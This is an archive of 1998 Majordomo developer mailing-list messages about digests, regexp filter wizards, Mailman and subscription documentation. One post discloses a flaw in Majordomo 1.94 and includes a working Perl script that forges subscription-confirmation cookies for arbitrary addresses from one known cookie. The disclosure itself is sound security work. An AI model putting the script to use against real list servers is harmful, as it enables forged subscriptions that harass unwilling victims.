upcoming BH> USENIX/LISA'98 conference presentations. Yes, they have done some good work. Almost enough to make it seem like I'm wasting my time. Ah, well, competing free projects always being out the worst in people. I do wonder why they didn't even bother to let Majordomo folks know that they were working and what their plans were, but that's neither here nor there. In any case, they show what you can do when you get a reasonable amount of developers working on something. - J< From majordomo-workers-owner Thu Oct 1 19:43:03 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11778; Thu, 1 Oct 1998 18:32:52 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11767 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:46 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id BAA19132 for ; Sat, 26 Sep 1998 01:57:49 -0700 (PDT) Received: (from bhoule@localhost) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) id CAA13976; Sat, 26 Sep 1998 02:11:53 -0700 (PDT) From: Bill Houle Message-Id: <199809260911.CAA13976@sparc.sandiegoca.ncr.com> Subject: Re: Digests, phase zero To: tibbs@hpc.uh.edu Date: Sat, 26 Sep 1998 02:11:52 -0700 (PDT) Cc: jeffw@smoe.org, majordomo-workers@greatcircle.com X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Thu, Sep 24, 1998 at 10:55:47AM -0500, Jason L Tibbitts III wrote: > > JW> The tricky thing about just doing sprintf stuff is that it's hard to do > JW> centering and truncation of fields. > > Then invent a way to do it, or find a module that does it already. Perl format statements? Already does left/center/right, can specify (visually) the field lengths, and truncates accordingly. Could even provide a "wizard" front-end [as is being discussed for regexps] with a less intimidating syntax: digest_index << END $space $space $subject left 37 $space $space $space [ $from right 33 ] END translates to: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< [@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] which results in: Today's your birthday, friend... [Mike Matthews ] Chantal Kreviazuk ["J." Wermont ] ... ?? --bill From majordomo-workers-owner Thu Oct 1 19:58:46 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11726; Thu, 1 Oct 1998 18:32:29 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11716 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:25 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA12384 for ; Fri, 25 Sep 1998 17:13:07 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) with ESMTP id RAA04543; Fri, 25 Sep 1998 17:28:04 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id RAA09638; Fri, 25 Sep 1998 17:28:03 -0700 (PDT) Message-Id: <199809260028.RAA09638@ssol020.sandiegoca.ncr.com> Subject: Re: Digests, phase zero To: rogerk@QueerNet.ORG (Roger B.A. Klorese) Date: Fri, 25 Sep 1998 17:28:02 -0700 (PDT) Cc: tibbs@hpc.uh.edu, bhoule@sparc.sandiegoca.ncr.com, rsw@Glue.umd.edu, majordomo-workers@GreatCircle.COM In-Reply-To: from "Roger B.A. Klorese" at Sep 25, 98 05:05:03 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Roger B.A. Klorese said: > > Most of the patches I've seen have been "I want a different behavior" > patches. I count maybe a half-dozen non-incorporated actual fixes in over > a year. I think we're splitting hairs here. Majordomo is designed for a very specific purpose: you get it, install it, send it some mail, and it distributes it. Naturally, all the tweaks & patches are going to center around "behaviors" relative to those functions. Roger's point about bloatware -- he called it feature-of-the-week -- is valid, but probably not applicable to Mj2 (save for my feature request for dynamic lists :). Not everyone wants all tweaks. But many will want most. (Actually, I think its like getting a 350mhz Pentium to replace your 200. Sure, you don't *need* it, but once you get it, it will be hard to go back.) --bill From majordomo-workers-owner Thu Oct 1 20:12:59 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id UAA13324; Thu, 1 Oct 1998 20:12:13 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id UAA13317 for ; Thu, 1 Oct 1998 20:12:07 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id WAA16691; Thu, 1 Oct 1998 22:28:35 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Digests, phase one References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 22:28:35 -0500 In-Reply-To: Jason L Tibbitts III's message of "29 Sep 1998 19:46:43 -0500" Message-ID: Lines: 18 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hmm. Well, response to that wasn't exactly overwhelming. Oh, well. In any case, MIME digests are now being built from a list of named messages, and the digests don't look all that bad. I have included two index formats: one gives just a subject listing and the other gives something like Jeff Wasilko's format with the subjects on the left and the authors on the right. I think that's enough for now. The variable digest_index_format chooses between the two. You can get a digest mailed to you with something like archive-get test-list 199810/1 199810/2 199810/3 199810/4 Right now you have to list out the messages you want. This will all be in CVS (along with fixes for all bugs reported within the past few days) in an hour or so. - J< From majordomo-workers-owner Thu Oct 1 20:28:26 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11775; Thu, 1 Oct 1998 18:32:49 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11755 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:42 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA13660 for ; Fri, 25 Sep 1998 18:47:03 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) with ESMTP id TAA07161; Fri, 25 Sep 1998 19:02:13 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id TAA09927; Fri, 25 Sep 1998 19:02:13 -0700 (PDT) Message-Id: <199809260202.TAA09927@ssol020.sandiegoca.ncr.com> Subject: Re: Regexp wizard To: rogerk@QueerNet.ORG (Roger B.A. Klorese) Date: Fri, 25 Sep 1998 19:02:12 -0700 (PDT) Cc: tibbs@hpc.uh.edu, majordomo-workers@greatcircle.com In-Reply-To: from "Roger B.A. Klorese" at Sep 25, 98 06:42:35 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Roger B.A. Klorese said: > > Look at Eudora filters for an idea. Users should only need to say "if the > from: header contains '@foo.com', reject it." Or, better, choose this > from a form. If you've never seen, Eudora's are very dumbed-down. Not incredibly flexible, but very effective. It's basically an English language front-end that let's you do one test operation (contains, begins with, etc) per fixed string: Object := ( To: | From: | Cc: | Subject: | : | : ) Test := ( is | is not | contains | does not contain | starts with | ends with | appears | doesn't appear) String := (no regexps) is not used in the appears/doesn't test, since that is merely a header existence test. The layout is easy from a Web forms standpoint. The question would be if I do the translation or whether the Mj engine could handle that sort of abstract syntax directly. --bill From majordomo-workers-owner Thu Oct 1 20:42:49 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11803; Thu, 1 Oct 1998 18:33:01 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11781 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:54 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA05442 for ; Sat, 26 Sep 1998 22:41:37 -0700 (PDT) Received: (from bhoule@localhost) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) id WAA18411; Sat, 26 Sep 1998 22:52:58 -0700 (PDT) From: Bill Houle Message-Id: <199809270552.WAA18411@sparc.sandiegoca.ncr.com> Subject: Re: Regexp wizard To: tibbs@hpc.uh.edu (Jason L Tibbitts III) Date: Sat, 26 Sep 1998 22:52:58 -0700 (PDT) Cc: majordomo-workers@greatcircle.com In-Reply-To: from "Jason L Tibbitts III" at Sep 26, 98 05:31:58 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts III said: > > Well, my previous proposal (which may have never made it to the list) No, it rang a bell when I (re)read it. > How do you support these simple expressions from multiple interfaces? It > would be nice to be able to use them from the email interface, too. Agreed. > How do you recognize that you have a special regexp if you translate it > before handing it to the core? What you get back looks like any other > regexp, so you have to 'decomplile' it, if you can. Yup, right. I didn't think that far ahead. > I'm deep into digests right now, but I'll see about doing a simple proof of > concept using the MS-DOS pattern language (? and * are special, no > escapes) when I get the chance. Continuing to not think very far ahead... I kinda like the direction the "wizard" idea is headed. Rather than taking regexp syntax and making it only slightly less complicated, could we come up with a way to support the native Perl method and a brain-dead English style syntax similar to the Eudora filters example? noadvertise << END /.*yourdomain.com/ |ends with otherdomain.com| END (where the 2nd translates internally to /.*otherdomain.com$/) Basically, I'm having second thoughts about merely "dumbing down" Perl regexps. If the benefit is ease of use, let's just go whole-hog and *really* make it easy for the novice. At the same time, I wouldn't want to prevent the experienced admin from entering complex regexps directly. Can the two coexist? Ditto for the digest index example using Perl formats. Great if the knowledgeable Perl programmer can specify the format (@<<<<<) directly, and better still if the newbie can use the English syntax (or Web wizard) to say the same thing [$subject left 6]. --bill From majordomo-workers-owner Thu Oct 1 20:57:51 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11739; Thu, 1 Oct 1998 18:32:37 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11729 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:32 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA12374 for ; Fri, 25 Sep 1998 17:12:31 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.8.5/8.8.5) with ESMTP id RAA03528 Date: Fri, 25 Sep 1998 17:26:57 -0700 (PDT) From: "Roger B.A. Klorese" To: Jason L Tibbitts III cc: Bill Houle , "Randall S. Winchester" , majordomo-workers@GreatCircle.COM Subject: Re: Digests, phase zero In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 25 Sep 1998, Jason L Tibbitts III wrote: > I don't know; I've seen a lot of requests for access restriction, easier > list creation, more integrated digestifying, better archives, better MIME > handling, smoother installation, and a bunch of other things. Gee, that > looks like what I'm addressing. Yes, I'm sure you have... from the 1% or so of users who subscribe to the lists. We already have access restriction; Bill Houle already delivered easier list creation, but there's no reason for it to cruft up the mainline package; the main problem with digestification is that it is poorly documented; archiving too is available but nobody can find a quick recipe on a single Majordomo web page -- which doesn't mean it therefore should be integrated into the product; MIME handling as well is one of those tricky issues -- I hate to see the tool crufted up in order to support stuff that doesn't belong in most mailing lists and mostly exists to give commercial list services a pretty product. > RBAK> "The users"? Or 10% of the users? Or 5%? Or 1%? > > You can't please everybody. Do the math. I'm betting you're knocking yourself out to please virtually nobody. The current product, with better PROMOTION of an interface to go with it, better DOCUMENTATION of setup and recipes, and WIZARDS for things like taboo expressions instead of Perl... now that would make the world go 'round. As well as promotion of Majordomo as "the KISS Solution for mailing list management"... -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Thu Oct 1 21:12:49 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11752; Thu, 1 Oct 1998 18:32:42 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11742 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:37 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA12749 for ; Fri, 25 Sep 1998 17:32:29 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) with ESMTP id RAA05300; Fri, 25 Sep 1998 17:47:36 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id RAA09664; Fri, 25 Sep 1998 17:47:35 -0700 (PDT) Message-Id: <199809260047.RAA09664@ssol020.sandiegoca.ncr.com> Subject: Re: Digests, phase zero To: rogerk@QueerNet.ORG (Roger B.A. Klorese) Date: Fri, 25 Sep 1998 17:47:35 -0700 (PDT) Cc: tibbs@hpc.uh.edu, bhoule@sparc.sandiegoca.ncr.com, rsw@Glue.umd.edu, majordomo-workers@GreatCircle.COM In-Reply-To: from "Roger B.A. Klorese" at Sep 25, 98 05:26:57 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Roger B.A. Klorese said: > > Do the math. I'm betting you're knocking yourself out to please virtually > nobody. Uh, Roger...about those MajorCool additions you asked for...it looks like they are needed only by you, so since that factors out to be virtually nobody, I won't be doing them. :) Seriously, without asking all users, there's really no way to verify anything. My rule is usually the same I use for sysadmin work: do it once by hand, OK; do it twice and I better write a script because I'll be doing it yet again sometime later. If I get a couple requests for the same thing, I don't consider that it was only from 1% of my user base. Instead, I figure that there were 25% more out there that wished it but never asked me. Maybe that's not the right process, but I find it much easier to just do it rather than operate a change control board or polling booth. > The current product, with better PROMOTION of an interface to go with it, > better DOCUMENTATION of setup and recipes, and WIZARDS for things like > taboo expressions instead of Perl... now that would make the world go > 'round. As well as promotion of Majordomo as "the KISS Solution for > mailing list management"... There is some validity to this, however (for instance)... some of what I have been asked to do with MajorCool was difficult/impossible with Mj1 but looks like it will be much easier --even seamless-- with Mj2. The rewrite may have added to the complexity, but it should pay dividends elsewhere. And if one of those elsewheres is in the Web interface that is designed to *hide* that complexity, then its a moot point. BTW, I agree about the regexp wizard; it was something I was thinking about even for MjC1. If nothing is done in this area at the low levels of Mj2, I can still do it in MjC2. --bill From majordomo-workers-owner Thu Oct 1 21:18:38 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA12002; Thu, 1 Oct 1998 18:35:58 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11994 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:35:55 -0700 (PDT) Received: from gedanken.demon.co.uk (gedanken.demon.co.uk [158.152.211.20]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA23974 for ; Wed, 30 Sep 1998 22:23:22 -0700 (PDT) Received: from amb by gedanken.demon.co.uk with local (Exim 2.02 #1) id 0zORTO-0001vu-00; Wed, 30 Sep 1998 19:59:38 +0100 From: "Andrew M. Bishop" To: majordomo-workers@greatcircle.com Subject: Security flaw in confirmation cookie Message-Id: Date: Wed, 30 Sep 1998 19:59:38 +0100 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi, I am using majordomo V1.94, I don't know if it has been brought to your attention that it is possible to generate authentication cookies for list subscription for any arbitrary user, without knowing the cookie_seed with the use of a single test subscription that is from a known (valid) address. The perl script below shows how this is done. -------------------- example program -------------------- #################################################### # Cracker for majordomo authorisation $myemail="me\@my.email.address"; $otheremail="somebody\@someother.different.place"; $mycookie=&gen_cookie($myemail); print "Cookie for '$myemail' = $mycookie\n"; $othercookie=&gen_new_cookie($mycookie,$myemail,$otheremail); print "Cookie for '$otheremail' = $othercookie [My guess]\n"; $othercookie=&gen_cookie($otheremail); print "Cookie for '$otheremail' = $othercookie [Real thing]\n"; ################################################# # Verbatim from the end of the majordomo program. $cookie_seed="kadhflkjahsdflkhasldfhlashdf"; sub gen_cookie { local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); local($cookie) = 0; local($i, $carry); # Because of backslashing and all of the splitting on whitespace and # joining that goes on, we need to ignore whitespace. $combined =~ s/\s//g; for ($i = 0; $i < length($combined); $i++) { $cookie ^= ord(substr($combined, $i)); $carry = ($cookie >> 28) & 0xf; $cookie <<= 4; $cookie |= $carry; } return (sprintf("%08x", $cookie)); } ################################################## # My new function sub gen_new_cookie { local($cookie,$oldname,$newname)=@_; local($i, $carry); $cookie=hex("0x".$cookie); for ($i = length($oldname); $i > 0 ; $i--) { $carry = ($cookie & 0xf) << 28; $cookie >>= 4; $cookie &= 0x0fffffff; # signed, want unsigned shift $cookie |= $carry; $cookie ^= ord(substr($oldname, $i-1)); } for ($i = 0; $i < length($newname); $i++) { $cookie ^= ord(substr($newname, $i)); $carry = ($cookie >> 28) & 0xf; $cookie <<= 4; $cookie |= $carry; } return (sprintf("%08x", $cookie)); } -------------------- example program -------------------- -- Andrew. ---------------------------------------------------------------------- Andrew M. Bishop amb@gedanken.demon.co.uk http://www.gedanken.demon.co.uk/ From majordomo-workers-owner Thu Oct 1 21:28:23 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA14104; Thu, 1 Oct 1998 21:14:40 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id VAA14097 for ; Thu, 1 Oct 1998 21:14:34 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id AAA13484; Fri, 2 Oct 1998 00:30:54 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id AAA13479; Fri, 2 Oct 1998 00:30:47 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Fri, 2 Oct 1998 00:30:47 -0400 (EDT) From: "Randall S. Winchester" To: Bill Houle cc: majordomo-workers@GreatCircle.COM Subject: Re: MailMan In-Reply-To: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Thu, 24 Sep 1998, Bill Houle wrote: : I saw a reference to the "GNU Mailing List Manager" in the upcoming : USENIX/LISA'98 conference presentations. Hadn't heard of it before, : but a quick search turned up http://www.list.org/. The product is : beta and a 1.0 release, but here's the feature list: This is precisely what I am refering to from the web perspective. However I had never heard of "Mailman" before. They are on the correct track. This is what my users want. However I thought Python was a slow as Perl. Ahh that is it, this is PiperMail with a flair. Part of the reason I have considered HyperMail is that is written in C and is alot faster then MHonArc. Randall From majordomo-workers-owner Thu Oct 1 21:47:55 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA14389; Thu, 1 Oct 1998 21:34:20 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id VAA14374 for ; Thu, 1 Oct 1998 21:34:13 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id VAA00929 Date: Thu, 1 Oct 1998 21:50:09 -0700 (PDT) From: "Roger B.A. Klorese" To: Bill Houle cc: tibbs@hpc.uh.edu, majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard In-Reply-To: <199809260202.TAA09927@ssol020.sandiegoca.ncr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Fri, 25 Sep 1998, Bill Houle wrote: > If you've never seen, Eudora's are very dumbed-down. Not incredibly > flexible, but very effective. It's basically an English language > front-end that let's you do one test operation (contains, begins > with, etc) per fixed string: > > > > Object := ( To: | From: | Cc: | Subject: | : | : ) > > Test := ( is | is not | contains | does not contain | starts with > | ends with | appears | doesn't appear) > > String := (no regexps) > > is not used in the appears/doesn't test, since that is > merely a header existence test. It's a tad more capable than that, in that it's Object := ( To: | From: | Cc: | Subject: | : | : Test := ( is | is not | contains | does not contain | starts with | ends with | appears | doesn't appear) String := (no regexps) SecondaryCondition := ( ignore | Logical := ( and | or | unless ) More than one action can be taken as a result of a match. Rules are checked in order, until the special action "skip rest" is found. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Thu Oct 1 21:51:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11866; Thu, 1 Oct 1998 18:34:09 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11856 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:34:07 -0700 (PDT) Received: from smtp4.nwnexus.com (smtp4.nwnexus.com [206.63.63.52]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id QAA29676 for ; Tue, 29 Sep 1998 16:07:36 -0700 (PDT) Received: from [206.63.47.20] (callisto.nwnexus.com [206.63.47.20]) by smtp4.nwnexus.com (8.8.8/8.8.8) with ESMTP id QAA14313; Tue, 29 Sep 1998 16:23:26 -0700 (PDT) X-Sender: wdickson@mail.halcyon.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 29 Sep 1998 16:22:27 -0700 To: majordomo-workers@greatcircle.com From: "William R. Dickson -- System Administration" Subject: Documentation Update: subscribe Cc: tibbs@hpc.uh.edu Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk The Subscribe Command: Subscribing to a List ============================================ Once you've determined that you wish to subscribe to one or more lists on this system, you can send commands to Majordomo to have it add you to the list, so you can begin receiving mailings. To receive list mail at the address from which you're sending your mail, simply say "subscribe" followed by the list's name: subscribe scooters If for some reason you wish to have the mailings go to a different address (a friend's address, a specific other system on which you have an account, or an address which is more correct than the one that automatically appears in the "From:" header on the mail you send), you would add that address to the command. For instance, if you're sending a request from your work account, but wish to receive "scooters" mail at your personal account (for which we will use "jqpublic@example.com" as an example), you'd put the line: subscribe example jqpublic@example.com ...in the mail message body. If you do not wish to receive the introductory welcome documents that are normally sent to new subscribers, you can send a command like: subscribe-nowelcome example ...to supress those documents. Again, you may optionally including your address as above. Confirming Subscriptions ------------------------ Based on configuration decisions made by the list owners, you may be added to the mailing list automatically, you may be required to perform an additional confirmation action or you may have to wait for the list owner to allow your subscription. If you are required to perform an additional action, you will be sent a message containing instructions that you must follow. These basically amount to visiting a web page or replying to the message with the single word "accept". The reason that many lists require additional confirmation is that it isn't really possible to verify that the address being subscribed to the list is indeed the person who sent the request. This fact is frequently exploited to forge subscription requests which result in hassles for the victim and all of the list owners. By sending a message to the subscriber address and requiring a valid reply, the abuse is limited to the single confirmation message; the victim does not have to go through the hassle of being removed from the list. In addition, Majordomo2 stores information about the source of the forged requests and if a rejection is sent in response to the confirmation message, this stored information is automatically forwarded to various responsible parties. Upon subscribing, you should (unless you specified otherwise) receive an introductory message containing list policies and features. Save this message for future reference; it will also contain exact directions for unsubscribing. If you lose the intro mail and would like another copy of the policies, send this message to $WHOAMI: intro scooters (substituting, of course, the real name of your list for "scooters"). -- William R. Dickson - System Administration wdickson@nwnexus.com Northwest Nexus - Professional Internet Services Bellevue, WA USA Voice: 425 455-3505 Web: http://www.nwnexus.com/ Info: info@nwnexus.com From majordomo-workers-owner Thu Oct 1 21:59:22 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA14548; Thu, 1 Oct 1998 21:43:11 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id VAA14535 for ; Thu, 1 Oct 1998 21:43:00 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA17878; Thu, 1 Oct 1998 23:59:28 -0500 (CDT) To: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 23:59:28 -0500 In-Reply-To: "Roger B.A. Klorese"'s message of "Thu, 1 Oct 1998 21:50:09 -0700 (PDT)" Message-ID: Lines: 16 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RBAK" == Roger B A Klorese writes: RBAK> It's a tad more capable than that, in that it's [...] This doesn't look 'regular', even with the superset of regular grammars that Perl accepts. Particularly the 'unless' clause, although the zero-width assertions may be put to use here. Of course, what this really looks like is a kind of stateful match; it can't even be done line by line. I'd really like to avoid anything that can't convert to a regexp here. I don't see how this applies in the general case anyway; these don't seem to make much sense when you're providing a way to match an address. - J< From majordomo-workers-owner Thu Oct 1 22:44:03 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id WAA15370; Thu, 1 Oct 1998 22:31:15 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA15363 for ; Thu, 1 Oct 1998 22:31:06 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id WAA02040 Date: Thu, 1 Oct 1998 22:47:23 -0700 (PDT) From: "Roger B.A. Klorese" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 1 Oct 1998, Jason L Tibbitts III wrote: > This doesn't look 'regular', even with the superset of regular grammars > that Perl accepts. Particularly the 'unless' clause, although the > zero-width assertions may be put to use here. Of course, what this really > looks like is a kind of stateful match; it can't even be done line by > line. Of course it can. "Unless" == "and not". > I'd really like to avoid anything that can't convert to a regexp here. > I don't see how this applies in the general case anyway; these don't seem > to make much sense when you're providing a way to match an address. Why not? From contains "majordomo@" unless To contains "majordomo-owner@" Makes a lot of sense from here. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Fri Oct 2 00:57:51 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id AAA17493; Fri, 2 Oct 1998 00:48:08 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id AAA17486 for ; Fri, 2 Oct 1998 00:47:59 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id EAA14027; Fri, 2 Oct 1998 04:04:19 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id EAA14022; Fri, 2 Oct 1998 04:04:15 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Fri, 2 Oct 1998 04:04:15 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@greatcircle.com Subject: Re: Archives: implementation ideas In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 1 Oct 1998, Jason L Tibbitts III wrote: : >>>>> "RSW" == Randall S Winchester writes: : : RSW> 2) It would very nice to have hooks to pipe a copy of the mail to a : RSW> program during the archive phase. : : This is a massive hole if it is configurable, so it can't be. I would : prefer to have a general hook mechanism and make this a regular hook. : There has been only light discussion about this previously; : I'm just thinking of defining named subroutines that sit in a file which : is 'require'd at startup and called with some standardized data if : defined. This is probably sufficient. : perhaps you can suggest a general mechanism. This is the README file for IO::File::Multi 